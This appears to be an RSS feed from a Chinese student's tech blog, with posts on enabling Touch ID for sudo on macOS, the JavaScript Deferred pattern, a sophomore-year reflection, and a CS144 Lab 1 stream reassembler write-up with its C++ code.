    at Object.noProviderError (/Users/situ/Codes/di/dist/error.js:45:12)
    at Injector.get (/Users/situ/Codes/di/dist/injector.js:204:33)
    at file:///Users/situ/Codes/Playground/node-scripts/di-test.ts:34:22
    at ModuleJob.run (internal/modules/esm/module_job.js:183:25)
    at async Loader.import (internal/modules/esm/loader.js:178:24)
    at async Object.loadESM (internal/process/esm_loader.js:68:5)
    at async handleMainPromise (internal/modules/run_main.js:59:12)
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>教程</category></item><item><title>macOS 使用指纹允许 sudo</title><link>https://situ2001.com/blog/tutorials/use-fingerprint-to-allow-sudo/</link><guid isPermaLink="true">https://situ2001.com/blog/tutorials/use-fingerprint-to-allow-sudo/</guid><description>指尖一放，轻松验证。可谓是懒人最爱的操作</description><pubDate>Sat, 17 Sep 2022 09:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;每一次在 macOS 的终端输入&lt;code&gt;sudo&lt;/code&gt;的时候都要输一遍管理员密码，实属麻烦。&lt;/p&gt;
&lt;p&gt;今天，题主已经忍无可忍了——必须要把指纹允许 sudo 的操作提上日程！&lt;/p&gt;
&lt;p&gt;在做的过程中，题主参考了这个Q&amp;amp;A: &lt;a href=&quot;https://apple.stackexchange.com/questions/259093/can-touch-id-for-the-mac-touch-bar-authenticate-sudo-users-and-admin-privileges&quot;&gt;Can Touch ID for the Mac Touch Bar authenticate sudo users and admin privileges?&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;其实，操作很简单，只需要以 su 的权限，用 nano 或者其他编辑器编辑&lt;code&gt;/etc/pam.d/sudo&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;在最前面加上这一行，保存就行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;auth       sufficient     pam_tid.so
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关闭当前 terminal session，打开一个新的 session&lt;/p&gt;
&lt;p&gt;最后效果如下所示&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;根据提示，放下手指到 touchID 处输入指纹就行了，非常舒服~&lt;/p&gt;
</content:encoded><category>教程</category></item><item><title>使用Deferred Pattern控制异步</title><link>https://situ2001.com/blog/javascript/deferred-pattern/</link><guid isPermaLink="true">https://situ2001.com/blog/javascript/deferred-pattern/</guid><description>如何控制异步回调函数之间的同步呢</description><pubDate>Thu, 08 Sep 2022 09:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;问题&lt;/h2&gt;
&lt;p&gt;之前在实现某一个功能的时候，需要控制这么一个顺序，某一个事件需要用到一个对象的方法来获取这个对象的数据。但是这个对象的数据并没有及时被初始化，而是在等待其他异步回调来帮它初始化。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. waiting for some data of an created object(async, e.g waiting for network request)
2. another event(async) need invoking method of this initialized object
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;问题来了，我们希望按照着这样的顺序来执行。但是由于异步执行在时间上的不确定性。如果直接简单写出几个事件监听来直接访问这个对象，就会变成梭哈行为了——这个对象的方法，有可能在对象数据初始化后被调用，也有可能在初始化前被调用（boom💥）&lt;/p&gt;
&lt;h2&gt;尝试解决&lt;/h2&gt;
&lt;p&gt;先举个例子吧&lt;/p&gt;
&lt;p&gt;比如说，我们这里有一个对象 Foo，它有 data 这个 field，在某一个异步回调函数，这个 data 会被赋值&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Foo {
  data: string | undefined;

  getData() {
    return this.data;
  }
}

const foo = new Foo();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里给出一个比较简单的例子：一个异步回调给 data 赋值，若干个异步回调访问 data 数据&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;setTimeout(() =&amp;gt; {
  // init data here
  foo.data = &quot;Loaded&quot;;
}, 1000);

setTimeout(() =&amp;gt; {
  // try to get some data
  console.log(foo.getData());
}, 500);

setTimeout(() =&amp;gt; {
  // try again to get some data
  console.log(foo.getData());
}, 1500);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果这样运行的话，会出现这样的结果&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;undefined
Loaded
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那有同学会想到曾经学过的并发相关的内容，对于多线程之间的同步，我们可以使用信号量来解决。&lt;/p&gt;
&lt;p&gt;那么在 JS 这种单线程语言中，我们是否也能使用类似的方法，处理异步函数之间的同步呢？&lt;/p&gt;
&lt;p&gt;可以用 Promise 来解决嘛，我们可以做一个 Promise，配合 &lt;code&gt;async/await&lt;/code&gt;，让这两个要访问数据的异步方法来等待数据的初始化，不就行了嘛。&lt;/p&gt;
&lt;p&gt;于是写出了这样的代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let promise: Promise&amp;lt;void&amp;gt;;

setTimeout(() =&amp;gt; {
  // init data here
  promise = new Promise&amp;lt;void&amp;gt;((resolve) =&amp;gt; {
    foo.data = &quot;Loaded&quot;;
    resolve();
  });
}, 1000);

setTimeout(async () =&amp;gt; {
  // try to get some data
  await promise;
  console.log(foo.getData());
}, 500);

setTimeout(async () =&amp;gt; {
  // try again to get some data
  await promise;
  console.log(foo.getData());
}, 1500);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;好像有一点道理喔，看起来也没有什么大问题。先运行一下，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;undefined
Loaded
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;果不其然，还是出错了，仔细观察，那是因为，在第一个异步函数调用的时候，你的 Promise 还没有初始化，是 undefined 呀！&lt;/p&gt;
&lt;p&gt;那么关键点就来了，我们可以一开始就把 Promise 给初始化啊。但是你会发现一个大问题——Promise 的 executor 是在初始化的时候就要被调用的了！&lt;/p&gt;
&lt;p&gt;此时，较为可行的方法就是把异步事件回调函数给放进 executor，如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// resolve or reject are executed in executor
let promise: Promise&amp;lt;void&amp;gt;;

promise = new Promise((resolve) =&amp;gt; {
  setTimeout(() =&amp;gt; {
    // init data here
    foo.data = &quot;Loaded&quot;;
    resolve();
  }, 1000);
});
setTimeout(async () =&amp;gt; {
  // try to get some data
  await promise;
  console.log(foo.getData());
}, 500);

setTimeout(async () =&amp;gt; {
  // try again to get some data
  await promise;
  console.log(foo.getData());
}, 1500);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时输出便是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Loaded
Loaded
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是，难不成都要把异步事件的&lt;strong&gt;回调函数给整个塞入 Promise 的 executor 里头&lt;/strong&gt;吗？&lt;/p&gt;
&lt;h2&gt;Deferred Pattern&lt;/h2&gt;
&lt;p&gt;其实...为什么我们不把 executor 里头的 &lt;code&gt;resolve&lt;/code&gt; 和 &lt;code&gt;reject&lt;/code&gt; 给抽出来，让 Promise 在外部被 &lt;code&gt;resolve&lt;/code&gt; 或 &lt;code&gt;reject&lt;/code&gt; 呢？&lt;/p&gt;
&lt;p&gt;于是，就有一了一个 Pattern，那就是 &lt;strong&gt;deferred pattern&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在这里，我们定义一个类 &lt;code&gt;Deferred&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Deferred&amp;lt;T&amp;gt; {
  resolve!: (value: T | PromiseLike&amp;lt;T&amp;gt;) =&amp;gt; void;
  reject!: (reason: any) =&amp;gt; void;

  promise: Promise&amp;lt;T&amp;gt;;

  constructor() {
    this.promise = new Promise&amp;lt;T&amp;gt;((resolve, reject) =&amp;gt; {
      this.resolve = resolve;
      this.reject = reject;
    });
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个时候，上面的例子就可以变成这个样子&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// use deferred pattern instead
let deferred = new Deferred&amp;lt;void&amp;gt;();

setTimeout(() =&amp;gt; {
  // init data here
  foo.data = &quot;Loaded&quot;;
  deferred.resolve();
}, 1000);
setTimeout(async () =&amp;gt; {
  // try to get some data
  await deferred.promise;
  console.log(foo.getData());
}, 500);

setTimeout(async () =&amp;gt; {
  // try again to get some data
  await deferred.promise;
  console.log(foo.getData());
}, 1500);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Loaded
Loaded
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样就可以避免上面提到的问题了，既没有把异步事件的回调给塞入 executor 里头，也成功解决了异步事件之间的同步问题。&lt;/p&gt;
</content:encoded><category>JavaScript</category></item><item><title>大二总结</title><link>https://situ2001.com/blog/my-sophomore-year/</link><guid isPermaLink="true">https://situ2001.com/blog/my-sophomore-year/</guid><description>致我迷茫但有所进步的大二全年</description><pubDate>Sun, 04 Sep 2022 07:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;写下这段文字的时候，笔者离学校正式上课还有一天不到，虽然在几天前就已经回到学校了，但是一直在忙于整理宿舍、以及 Notion 笔记内容、与同学见面等。并且，上学的时候，碰上广州的疫情，核酸力度也是特别大，一天一检，天天都要扔至少一小时进去，今天是第六天检验了，大概已经投入了半天时间到核酸检验里头了，这谁能顶得住啊。&lt;/p&gt;
&lt;p&gt;时间转瞬从周三到了周日下午，而现在我也终于有了一点时间，那就写篇文章来对我的大二进行一波总结吧~&lt;/p&gt;
&lt;h2&gt;迷茫&lt;/h2&gt;
&lt;p&gt;人都会焦虑。我也不例外，抬头看到大佬们在天空闪闪发光，为人类大地送去耀眼的星光，目光再回到自己身上，感觉自己什么也不是。最后因为这个，焦虑了近乎一整个季节，11 月到次年 1 月，这段时间我几乎什么也没有学进去呀......几乎都在无聊滴刷爽文&amp;amp;上网冲浪，感觉一整个人就是废了的节奏。&lt;/p&gt;
&lt;p&gt;我迷茫，迷茫自己走的道路是不是正确的。大家都去打算法竞赛，打数学建模比赛，做机器学习研究之类的事情。我没有折腾这些，反而是很佛系地每天上网冲浪，看看专业课书本打打基础，偶尔写写小应用小工具啥的，尝试用做出一些什么炫酷的事情，偶尔再去 GitHub 上面折腾折腾。不知能做出一番什么样的成就，因为走这种路线的前辈，在我们学校，几乎是没有的。&lt;/p&gt;
&lt;p&gt;就这样白白内耗了一个季节，说长不长，但是，说短也不短了。大二下开学的时候，我想通了，与其迷茫下去，为什么不试试啥后果也不想，就直冲一波呢，看看能不能冲出来什么，于是，就是开始了另外一种“摆烂”，先不把结果看得很重，只管做自己喜欢的事情，并勇敢尝试一下看起来很难的事情。&lt;/p&gt;
&lt;p&gt;这招下来，慢慢开始有动力了，也慢慢摆脱废人的这个状态了。&lt;/p&gt;
&lt;h2&gt;进步&lt;/h2&gt;
&lt;p&gt;除了那段极其艰难的迷茫期几乎啥也没有学到，其他时候还是有学习的动力的，一年下来，CS:APP 快学完了，实验也做得 7788，也看完了 OSTEP 的虚拟化和并发部分。&lt;/p&gt;
&lt;p&gt;Rust 也入门了好几次，有点小收获。&lt;/p&gt;
&lt;p&gt;可能是在平时经常看英语教材吧，除此之外，也会去油管看看老外的视频，偶尔也会去 GitHub 上帮社区翻译一下文档或者做文档纠错的活。在这样的背景下，没怎么复习过英语六级，最后考了个 550 多，其实还算可以的了，不高不低，满意。但满意的不仅仅是分数，还是我对个人英语能力的重视，英语确实让我看到更广的世界。&lt;/p&gt;
&lt;p&gt;暑假还参加了两个挺有意义的活动。&lt;/p&gt;
&lt;h3&gt;小程序赛&lt;/h3&gt;
&lt;p&gt;暑假前，受同学邀请，我参与了到了高校小程序开发赛的开发活动中去（&lt;s&gt;考试周的屎山堆砌活动&lt;/s&gt;），最后赶制出了一个成品来。以为提交作品后就是止步于初赛了。但是万万没想到，我们的作品一路突进，从赛区赛到了国赛，最后斩获了全国一等奖。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;不得不感慨队长 favorhau 的 idea 牛逼！&lt;/p&gt;
&lt;p&gt;出于对队长的 idea 和产品最基本的尊重和负责，打算九月将这个小程序重写，保证小程序代码是优良，且是可维护的。&lt;/p&gt;
&lt;h3&gt;编程之夏&lt;/h3&gt;
&lt;p&gt;同样是暑假前，我申请了阿里巴巴的编程之夏活动，抱着申请一下试试不过就算了的心态，但最后没想到通过了。&lt;/p&gt;
&lt;p&gt;两个月时间，从对要开发的框架本身的懵懂无知，到对其略知一二，最后找到切入点将功能加进去，也是一件挺有成就感的事情。&lt;/p&gt;
&lt;p&gt;非常神奇的事情就是，中途小程序赛居然过了赛区到了国赛阶段（这是大家都没有想到的事情），于是转头去完善小程序和答辩 PPT 了。。。最后，七月八月的时间在整个项目上，分摊严重不均衡，如果八月像七月那样时间富余就好了，这样的话，功能就能做得更好了。并且值得注意的是，踩坑填坑也是很耗时的一件事呢。&lt;/p&gt;
&lt;p&gt;最后做出来的功能，有些许不足。为了开发团队后续好好接手我写的功能模块，我把已知的 bug 和限制，及其后面的展望和设想也写了出来。深究到底，毕竟，这是团队合作的事情，沟通能力也是很重要的。&lt;/p&gt;
&lt;p&gt;虽然基本要求是完成了，但在我心目中，我没有很好地完成这个功能（有些小 bug），主要是时间没投入够，坑也没有踩够。这一块还是有点小遗憾的。&lt;/p&gt;
&lt;p&gt;Mentor 也告诉我不要一开始就设想得很完美，几乎没有一写出来就是 bug-free 且 robust 的代码，先把基本的功能做出来，再去逐步完善和重构（我的理解就像是作者写书一样）&lt;/p&gt;
&lt;p&gt;最后还受邀加入了他们的 GitHub org，开心。看看后面能不能为这个社区出一份力。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;如果下一年秋招能进得去他们组就好了（划去）&lt;/p&gt;
&lt;h2&gt;其他&lt;/h2&gt;
&lt;h3&gt;找到另一半&lt;/h3&gt;
&lt;p&gt;依稀还记得自己在大一结束后，立下了一些 flag，我回看了一下，似乎是完成了好几个呢。其中比较满意的是这个。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;[x] 找到女朋友 (?)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在大二上学期，我也遇到我的那个 TA 了，发现我俩许多观念都意外地很一致，许多生活方式都是差不多的，感觉就像是另一个自己。希望我们能好好走下去。不过只顾眼前的美好，未来规划也是要做好的呢。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;购入新本本&lt;/h3&gt;
&lt;p&gt;受自己的第六感指示，它说：七月中开卖的 M2 MacBook Air，大可提前买，暑假结束之后必定可以回本。&lt;/p&gt;
&lt;p&gt;便先付了全款，并默默发誓日后一定可以回本的...&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;暑假结束了，编程之夏和小程序赛的奖金真的可以抵消一本 Air 还有 Apple Care 的价格（这波是真回本了&lt;/p&gt;
&lt;h2&gt;收尾&lt;/h2&gt;
&lt;p&gt;暑假结束，隐隐约约，这个大环境越来越不好了，先把专业课考研相关的部分，以及数学给抓起来（两手抓，但是得有所偏重。要是早知道，还不如当时不要太浪，早早提高绩点保个研 p😭q），不能一头路扎进 JS 相关的工作上。&lt;/p&gt;
&lt;p&gt;虽然 Coding JS 是我的一个爱好，但是没有做到很牛逼（自己终究还是常人）。再加上自己的学历是弱势，激进的同时也要求稳。&lt;/p&gt;
&lt;p&gt;明天就要开启大三的新生活了，得好好努力下去，即使最后的结果不是很好，也无愧了，至少曾经为爱好努力过奋斗过。&lt;/p&gt;
</content:encoded><category>随笔</category></item><item><title>CS144 Lab1小总结</title><link>https://situ2001.com/blog/lab-cs144/cs144-lab1/</link><guid isPermaLink="true">https://situ2001.com/blog/lab-cs144/cs144-lab1/</guid><description>实现一个StreamAssembler吧</description><pubDate>Fri, 15 Apr 2022 02:15:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;在清明假后的某一个风和日丽的下午，某个不知天高地厚的同学，开始了 CS144 的 lab。迅速地做好 lab0 之后，他信心大涨，开始自信甚至差点自负起来(划去)&lt;/p&gt;
&lt;p&gt;Lab0 是要我们写&lt;code&gt;webget&lt;/code&gt;，一个使用了 OS 提供的 TCP 协议和 byte stream 抽象从 Internet 上 fetch 网页的程序。简的来说就是用 DNS 解析出目的主机的地址，与其建立起 socket，自行构建一个 HTTP 请求信息，通过请求获取网页信息。再根据 lab 给出的提示，自行实现一个 in-memory reliable 的 &lt;code&gt;ByteStream&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;数据在计算机网络中，是通过分组传送的。如果反映在运输层，就是一个一个 segment，并且实际上，这些包还不一定是顺序到达的，绝大部分是乱序到达的，并且还有可能丢包重传，包被修改等的问题存在。这个时候，我们就得实现一个对这些 segment 进行重组的工具。&lt;/p&gt;
&lt;p&gt;而这就是 Lab1 的实现产物&lt;code&gt;StreamReassembler&lt;/code&gt;要做的事情。&lt;/p&gt;
&lt;h2&gt;大致要求&lt;/h2&gt;
&lt;p&gt;仔细阅读 lab1 的 assign 的 assignment，它的标题为 &lt;strong&gt;stitching a substring into a byte stream&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;要求我们实现一个容量有限的&lt;code&gt;StreamReassembler&lt;/code&gt;，它的功能就是&lt;strong&gt;组装&lt;/strong&gt;接收到的若干带有起始 index 的&lt;strong&gt;子串&lt;/strong&gt;，将他们拼装回一个有序的连续的字节流。&lt;/p&gt;
&lt;p&gt;这是我们的&lt;code&gt;StreamReassembler&lt;/code&gt;的所在的位置，再结合它组装子串的功能，也就很容易想明白为什么它处于这个位置了。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;实现&lt;/h2&gt;
&lt;p&gt;思考一下，该如何处理这些子串&lt;/p&gt;
&lt;p&gt;如果我们接收到的到的子串在每一个位置上面，都是唯一的话，我们只需要好好将这些子串给放到到按 index 升序的列表里即可，长度达到了 string 的长度后，如果收到了 EOF 就代表组装结束了，把剩余的部分写入我们的 ByteStream（前一个 lab 实现的）即可。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注：下面的子串块指的是 Node 对象，而 buffer 指的是 ByteStream _output&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;但是现实并没有理想那么丰满，它很骨感。有很多问题需要我们进行考虑的，经过一波踩坑，大概有这么些&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;带有 EOF 的子串可能会先于其他子串带来&lt;/li&gt;
&lt;li&gt;EOF 可能会被单独接收（不带子串的数据）&lt;/li&gt;
&lt;li&gt;收到的子串可能会与现有的子串完全或部分重复&lt;/li&gt;
&lt;li&gt;收到子串后可能使得&lt;code&gt;StreamReassembler&lt;/code&gt;的大小超出容量限制&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;注意第 4 点所提到的容量限制，lab1 的 PDF 给出了一张很关键的图，图示了这个&lt;code&gt;StreamReassembler&lt;/code&gt;的大致结构&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;从图中，不难看出，我们要负责的是 first unread 及其后面的部分，并且要搞清楚 capacity 的定义&lt;/p&gt;
&lt;p&gt;不然就会像我干了一个晚上结果在 cap 测试上面过不了,然后又得努力 debug 一个下午&lt;/p&gt;
&lt;p&gt;那我们可以增加几个 private field 来暂存接收到的 EOF，记录根据 EOF 与 index 以及子串长度推算出的字符串的总长度，记录已经接收了的字节数，记录仍未写入 buffer 的起始位置，如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class StreamReassembler {
  private:
    // Your code here -- add private members as necessary.

    ByteStream _output;            //!&amp;lt; The reassembled in-order byte stream
    size_t _capacity;              //!&amp;lt; The maximum number of bytes
    bool _is_eof;                  //!&amp;lt; Temporarily saved EOF while string is not fully assembled
    size_t _string_length;         //!&amp;lt; Computed from substring that carries EOF
    size_t _bytes_accept;          //!&amp;lt; Length of bytes you&apos;ve received
    size_t _first_unassembled;     //!&amp;lt; Position of current unassembled string
                                   //!&amp;lt; Note that _output.buffer_size() + unassembled_bytes() &amp;lt;= capacity
    std::list&amp;lt;Node&amp;gt; _aux_storage;  //!&amp;lt; A linked list that contains unassembled substrings

    // ......
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着是最重要的部分：重组器对子串的组装以及对 buffer 的写入&lt;/p&gt;
&lt;p&gt;我们可以子串打包成块，用这样的一个节点表示，记录了该节点的子串在原字符串中的起始 index 与结束 index，然后将这些 node 放入自行维护有序的列表中，想到链表的插入和删除的时间复杂度都是&lt;code&gt;O(1)&lt;/code&gt;，于是我决定维护一个有序的&lt;code&gt;std::list&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct Node {
    std::string data;
    size_t index_start;
    size_t index_end;
    Node(std::string str, size_t index) : data(str), index_start(index), index_end(str.size() + index - 1) {}
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;要考虑新来的子串块与未组装区域的某个子串块这几种情况&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;子串与某个子串不重叠&lt;/li&gt;
&lt;li&gt;子串与某个子串完全重叠且大于或等于某个子串&lt;/li&gt;
&lt;li&gt;子串与某个子串完全重叠但小于某个子串&lt;/li&gt;
&lt;li&gt;子串与某个子串部分重叠&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;对于 1，我们直接从头开始遍历链表，找到链表中的一个合适的位置，将该子串插入，要考虑是在某个子串块的前面还是后面&lt;/p&gt;
&lt;p&gt;对于 2，我们选择遍历，把这些新来的数据与当前的子串块进行合并&lt;/p&gt;
&lt;p&gt;对于 3，要考虑的是直接丢弃这个子串块，因为这个子串块的子串是某个子串块的子串&lt;/p&gt;
&lt;p&gt;对于 4，要考虑的是把子串的重叠部分给丢弃后，将剩下的子串插入链表&lt;/p&gt;
&lt;p&gt;然后，还要考虑如何将组装好的数据写入 buffer，还有一些细节处理，比如传来的子串的部分，已经被从 buffer 读出...再或者就是，我们的子串块的 capacity 大于 buffer 的剩余 capacity，就要截掉超出的部分等...&lt;/p&gt;
&lt;p&gt;最后得出，一个子串，带着它的 index，以及(或没有)EOF，在&lt;code&gt;push_substring()&lt;/code&gt;的执行旅途中，它们会经历这些事情。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;push_substring()&lt;/code&gt;函数每一次执行都会做这几件事：对 EOF 进行检查，如果是便缓存下来，并通过 index 与此时传入的子串的长度计算得出字符串的总长度 =&amp;gt; 测试该子串是否含有了已被输出到 buffer 的部分，如果有，删除这部分子串 =&amp;gt; 测试该子串的加入会不会引起 capacity 的超出，如果是，截掉超出容量的子串 =&amp;gt; 交给&lt;code&gt;assembly_string()&lt;/code&gt;进行子串拼接工作，该函数对上面的子串块与子串块之间的六种关系进行了一定的处理，保证在&lt;code&gt;_aux_storage&lt;/code&gt;中不会出现 index 一致的多个字符 =&amp;gt; 检查&lt;code&gt;_aux_storage&lt;/code&gt;，将满足条件的子串块中的子串给写进 buffer 里头 =&amp;gt; 检查是否写完并且已经 EOF，如果是则结束掉 buffer 的写入&lt;/p&gt;
&lt;p&gt;写出的代码如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &quot;stream_reassembler.hh&quot;

// Dummy implementation of a stream reassembler.

// For Lab 1, please replace with a real implementation that passes the
// automated checks run by `make check_lab1`.

// You will need to add private members to the class declaration in `stream_reassembler.hh`

template &amp;lt;typename... Targs&amp;gt;
void DUMMY_CODE(Targs &amp;amp;&amp;amp;.../* unused */) {}

using namespace std;

StreamReassembler::StreamReassembler(const size_t capacity)
    : _output(capacity)
    , _capacity(capacity)
    , _is_eof(false)
    , _string_length(0)
    , _bytes_accept(0)
    , _first_unassembled(0)
    , _aux_storage({}) {}

//! \details This function accepts a substring (aka a segment) of bytes,
//! possibly out-of-order, from the logical stream, and assembles any newly
//! contiguous substrings and writes them into the output stream in order.
void StreamReassembler::push_substring(const string &amp;amp;data, const size_t index, const bool eof) {
    string str = string(data);
    size_t i = index;

    // if eof
    if (eof) {
        if (!_is_eof) {
            _string_length = index + str.size();
            _is_eof = true;
        }
    }

    // slice str to make sure that index &amp;gt;= first_unassembled
    if (index &amp;lt; _first_unassembled) {
        size_t n = _first_unassembled - index;
        str.erase(0, n);
        if (str.size() == 0) {
            return;
        }
        i += n;
    }

    // capacity checking. bytes that exceed the capacity will be silently discard
    size_t used_size = _output.buffer_size() + unassembled_bytes();
    if (used_size &amp;gt; _capacity) {
        size_t remaining_size = _capacity - used_size;
        if (str.size() &amp;gt; remaining_size) {
            str.erase(0, remaining_size);
        }
    }

    Node node{str, i};
    assembly_string(node);

    // push substring into
    for (auto it = _aux_storage.begin(); it != _aux_storage.end();) {
        if (it-&amp;gt;index_start &amp;lt;= _first_unassembled) {
            _first_unassembled += _output.write(it-&amp;gt;data);

            it = _aux_storage.erase(it);
        } else {
            break;
        }
    }

    // check EOF
    if (_is_eof &amp;amp;&amp;amp; _first_unassembled == _string_length) {
        _output.end_input();
    }
}

size_t StreamReassembler::unassembled_bytes() const { return _bytes_accept - _first_unassembled; }

bool StreamReassembler::empty() const { return _bytes_accept == _first_unassembled; }

void StreamReassembler::assembly_string(Node node) {
    if (_aux_storage.empty()) {
        _aux_storage.push_back(node);
        _bytes_accept += node.data.size();

        return;
    }

    // basic idea: iterate nodes in the linked list
    auto it = _aux_storage.begin();
    while (it != _aux_storage.end()) {
        size_t left = it-&amp;gt;index_start;
        size_t right = it-&amp;gt;index_end;

        // when data in node is empty
        if (node.data.size() == 0) {
            break;
        }

        // data does not overlap any exist node (before)
        if (node.index_end &amp;lt; left) {
            // directly insert before it
            _aux_storage.insert(it, node);
            _bytes_accept += node.data.size();

            break;
        }

        // (after)
        if (node.index_start &amp;gt; right) {
            // compare with next node
            it++;
            if (it != _aux_storage.end()) {
                continue;
            } else {  // if there is no node after current it
                _aux_storage.push_back(node);
                _bytes_accept += node.data.size();

                break;
            }
        }

        // smaller than it &amp;amp; overlap
        if (node.index_start &amp;gt;= left &amp;amp;&amp;amp; node.index_end &amp;lt;= right) {
            // nothing to do
            break;
        }

        // (bigger than it OR equal to it) &amp;amp; overlap
        if (node.index_start &amp;lt;= left &amp;amp;&amp;amp; node.index_end &amp;gt;= right) {
            size_t n = right - node.index_start + 1;
            // mutate it&apos;s data &amp;amp; index_start
            it-&amp;gt;index_start = node.index_start;
            node.index_start = right + 1;
            it-&amp;gt;data = node.data.substr(0, n);  // first n characters of node.data
            node.data.erase(0, n);              // then remove first n characters of node.data

            // update total bytes
            _bytes_accept += (n - 1);

            continue;
        }

        // partly overlap (before)
        if (node.index_end &amp;gt;= left &amp;amp;&amp;amp; node.index_start &amp;lt; left &amp;amp;&amp;amp; node.index_end &amp;lt; right) {
            // edit data field of node (remove part overlapped by current it)
            // remove tail
            size_t n = node.index_end - it-&amp;gt;index_start + 1;
            // remove last n characters
            node.data.erase(node.data.size() - n);
            node.index_end -= n;

            continue;
        }

        // partly overlap (after)
        if (node.index_start &amp;lt;= right &amp;amp;&amp;amp; node.index_end &amp;gt; right &amp;amp;&amp;amp; node.index_start &amp;gt; left) {
            // just like before
            size_t n = right - node.index_start + 1;
            // remove first n characters
            node.data.erase(0, n);
            node.index_start += n;

            continue;
        }
    }

    return;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;一些坑&lt;/h2&gt;
&lt;h3&gt;懒得删除&lt;/h3&gt;
&lt;p&gt;我一开头为了方便遍历，就不删去所有的节点，谁不曾想，来到&lt;code&gt;fsm_stream_reassembler_cap&lt;/code&gt;之后，我中招了...&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
   ReassemblerTestHarness test{3};
   for (unsigned int i = 0; i &amp;lt; 99997; i += 3) {
       const string segment = {char(i), char(i + 1), char(i + 2), char(i + 13), char(i + 47), char(i + 9)};
       test.execute(SubmitSegment{segment, i});
       test.execute(BytesAssembled(i + 3));
       test.execute(BytesAvailable(segment.substr(0, 3)));
   }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以很明显看出这个代码就是让你一直合成&lt;code&gt;char(0)&lt;/code&gt;到&lt;code&gt;char(99996)&lt;/code&gt;的范围的所有子串，但是你经过思考会发现，每一次循环都会往自己维护的&lt;code&gt;std::list&lt;/code&gt;里头加入一个子串块节点而不会丢弃掉。&lt;/p&gt;
&lt;p&gt;即使遍历的时间复杂度是&lt;code&gt;O(n)&lt;/code&gt;，但是随着数据量的增大，时间的增加也是非常可观的。&lt;/p&gt;
&lt;p&gt;于是很简单，一个子串块写到 buffer 里头就没有用了，将其删去即可。。。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;it = _aux_storage.erase(it); // Before fix: it++;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我记得当时这个用例跑了足足 15s&lt;/p&gt;
&lt;p&gt;慢是慢了但也能成功跑完令人感慨&lt;/p&gt;
